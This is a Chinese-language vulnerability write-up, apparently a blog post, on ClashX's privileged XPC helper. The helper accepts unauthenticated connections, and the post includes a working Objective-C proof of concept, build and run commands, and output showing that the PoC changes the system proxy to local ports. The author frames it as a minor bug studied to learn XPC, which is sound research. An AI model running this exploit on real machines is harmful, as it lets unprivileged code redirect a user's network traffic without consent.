前言

XPC 为基本进程间通信提供了一种轻量级机制。它允许你创建称为 XPC 服务的轻型帮助程序工具,用于代表你的应用执行工作。 launchd 系统守护程序管理这些服务,按需启动它们,在空闲时关闭它们,并在它们崩溃时重新启动它们。

全局第三方 XPC 应用程序通常以PrivilegedHelperTool的形式出现。这些工具通常由必须以 root 身份执行某些操作的应用程序安装。应用程序安装这些客户端工具来帮助它们执行特权操作,而不是在每次需要 root 时提升权限。

细节

ClashX 有一个 PrivilegedHelperTools XPC 服务:com.west2online.ClashX.ProxyConfigHelper 。

在 ProxyConfigHelper.m 文件中,它没有对连接的客户端进行身份验证的过程,因此允许我们自定义连接过程:

- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
//    if (![self connectionIsVaild:newConnection]) {
//        return NO;
//    }
    newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
    newConnection.exportedObject = self;
    __weak NSXPCConnection *weakConnection = newConnection;
    __weak ProxyConfigHelper *weakSelf = self;
    newConnection.invalidationHandler = ^{
        [weakSelf.connections removeObject:weakConnection];
        if (weakSelf.connections.count == 0) {
            weakSelf.shouldQuit = YES;
        }
    };
    [self.connections addObject:newConnection];
    [newConnection resume];
    return YES;
}

从 ProxyConfigRemoteProcessProtocol.h 文件中,我们知道 XPC 服务提供了以下方法:

@import Foundation;

typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);

@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required

- (void)getVersion:(stringReplyBlock)reply;

- (void)enableProxyWithPort:(int)port
                  socksPort:(int)socksPort
                        pac:(NSString *)pac
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList
                      error:(stringReplyBlock)reply;

- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                  reply:(stringReplyBlock)reply;

- (void)restoreProxyWithCurrentPort:(int)port
                          socksPort:(int)socksPort
                               info:(NSDictionary *)dict
                    filterInterface:(BOOL)filterInterface
                              error:(stringReplyBlock)reply;

- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end

继续跟踪 enableProxyWithport :遍历网络设备并设置代理设置:

- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
                     pacUrl:(NSString *)pacUrl
            filterInterface:(BOOL)filterInterface
                 ignoreList:(NSArray<NSString *>*)ignoreList {

    [self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
        [ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
            [self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
        }];
    }];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
                 filterInterface:(BOOL)filterInterface
                         devices:(void(^)(NSString *, NSDictionary *))callback {
    NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
    for (NSString *key in [sets allKeys]) {
        NSMutableDictionary *dict = [sets objectForKey:key];
        NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
        if (!filterInterface || [hardware isEqualToString:@"AirPort"]
            || [hardware isEqualToString:@"Wi-Fi"]
            || [hardware isEqualToString:@"Ethernet"]
            ) {
            callback(key,dict);
        }
    }
}
...

- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
                        socksPort: (int)socksPort pac:(NSString *)pac
                       ignoreList:(NSArray<NSString *>*)ignoreList {
    
    NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];
    
    NSString *ip = enable ? @"127.0.0.1" : @"";
    NSInteger enableInt = enable ? 1 : 0;
    NSInteger enablePac = [pac length] > 0;

在“getProxySetting”函数中,有一条语句 NSString *ip = enable ? @"127.0.0.1" : @""; 将IP限制为仅配置为127.0.0.1。不影响此漏洞仍可将系统代理更改为本地恶意代理地址。

Poc

  1. Wirte poc.m

    #import <Foundation/Foundation.h>
    
    static NSString *XPCHelperMachServiceName =
        @"com.west2online.ClashX.ProxyConfigHelper";
    
    typedef void (^stringReplyBlock)(NSString *);
    typedef void (^boolReplyBlock)(BOOL);
    typedef void (^dictReplyBlock)(NSDictionary *);
    
    @protocol HelperToolProtocol <NSObject>
    @required
    - (void)getVersion:(stringReplyBlock)reply;
    - (void)enableProxyWithPort:(int)port
                      socksPort:(int)socksPort
                            pac:(NSString *)pac
                filterInterface:(BOOL)filterInterface
                     ignoreList:(NSArray<NSString *> *)ignoreList
                          error:(stringReplyBlock)reply;
    - (void)disableProxyWithFilterInterface:(BOOL)filterInterface
                                      reply:(stringReplyBlock)reply;
    - (void)restoreProxyWithCurrentPort:(int)port
                              socksPort:(int)socksPort
                                   info:(NSDictionary *)dict
                        filterInterface:(BOOL)filterInterface
                                  error:(stringReplyBlock)reply;
    - (void)getCurrentProxySetting:(dictReplyBlock)reply;
    @end
    
    int main(void) {
      OSStatus err;
      NSString *service_name = XPCHelperMachServiceName;
      NSXPCConnection *connection =
          [[NSXPCConnection alloc] initWithMachServiceName:service_name
                                                   options:0x1000];
      NSXPCInterface *interface =
          [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
      [connection setRemoteObjectInterface:interface];
      [connection resume];
    
      id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
        NSLog(@"[-] Error: %@", error);
      }];
    
      NSLog(@"[+] obj: %@ conn: %@", obj, connection);
    
      [obj enableProxyWithPort:3333
                      socksPort:7777
                            pac:NULL
                filterInterface:YES
                     ignoreList:NULL
                          error:^(NSString *error) {
                            NSLog(@"Error: %@", error);
                          }];
      NSLog(@"[+] Done");
    }
    
  2. Compile the poc.m

    clang -framework Foundation poc.m -o poc

  3. Run it

    ./poc                                                       
    2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper
    2023-05-26 13:34:45.313 poc[13498:214914] [+] Done
    

已检查并成功设置系统网络代理设置:

Untitled

总结

是个水洞,当学习XPC了。

Powered by Kali-Team